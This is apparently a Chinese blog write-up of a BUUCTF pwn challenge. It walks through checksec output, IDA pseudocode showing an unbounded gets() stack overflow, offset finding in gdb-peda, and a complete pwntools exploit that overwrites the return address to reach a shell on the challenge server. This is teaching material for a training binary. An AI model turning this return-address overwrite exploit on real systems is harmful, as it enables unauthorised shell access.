BUUCTF_2.RIP覆盖一下

原创

Jc^ 于 2019-07-05 23:01:23 发布 3427 收藏

分类专栏： # BUUCTF_pwn 文章标签： BUUCTF

本文链接：https://blog.csdn.net/qq_42037374/article/details/94766090

解题思路

1. 查看文件信息，安全机制

2. 代码审计

3. 分析漏洞点

4. 编写EXP

1.基本信息

$checksec ./文件名

```
ubuntu@ubuntu:~/BUUCTF/2$ checksec ./pwn1
[*] '/home/ubuntu/BUUCTF/2/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

2.代码审计

不管在简单题都一定要IDA查看一下伪代码（IDA做好是7.0以上的版本）

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}
```


首先查看敏感字符串（Ctrl+1）

Address	Length	Type	String
LOAD:000…	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:000…	0000000A	C	libc.so.6
LOAD:000…	00000005	C	gets
LOAD:000…	00000005	C	puts
LOAD:000…	00000007	C	system
LOAD:000…	00000012	C	__libc_start_main
LOAD:000…	0000000C	C	GLIBC_2.2.5
LOAD:000…	0000000F	C	__gmon_start__
.rodata:…	0000000D	C	please input
.rodata:…	0000000A	C	ok,bye!!!
.rodata:…	00000008	C	/bin/sh
.eh_fram…	00000006	C	;*3$\"

1.gets从标准输入设备读字符串函数，其可以无限读取，不会判断上限，以回车结束读取，所以应该确保buffer的空间足够大，以便在执行读操作时不发生溢出。
2.从stdin流中读取字符串，直至接受到换行符或EOF时停止，并将读取的结果存放在buffer指针所指向的字符数组中。换行符不作为读取串的内容，读取的换行符被转换为'\0'空字符，并由此来结束字符串。

分析漏洞

利用填充数据到我们EIP的大小，进行覆盖ret到达我们的shell (EIP=15+8)
个人建议利用peda和gef两个工具联合起来使用
找bin/sh字符串的地址

```
gdb-peda$ pattern search
Registers contain pattern buffer:
R9+0 found at offset: 55
R10+0 found at offset: 63
RBP+0 found at offset: 15
Registers point to pattern buffer:
```

编写EXP

这里我将脚本都写的比较复杂，就是为了提前使用这些函数的用法，养成一个好的书写习惯（风格）

```
#!/usr/bin/env python
#coding=utf8
from pwn import *
context.log_level = 'debug'    #显示调试的信息
context.terminal = ['gnome-terminal','-x','bash','-c']    #?

local = 0  #设置是本地还是远程渗透

if local:
    p = process('./pwn1')
    #bin = ELF('./',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p=remote('buuoj.cn',6001)
    #bin = ELF('./',checksec=False)
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass

bin_sh_addr = 0x0401186
payload = "A"*23 + p64(bin_sh_addr)

def choose2():
 #p.recvuntil("please input\n")  这个在一般情况是需要添加的  可是这个题不知道为什么添加就不执行shell了
 p.sendline(payload)

#raw_input()  用来断在开始的位置
#gdb.attach(p)  可以用动态调试

 p.interactive()

choose2()
```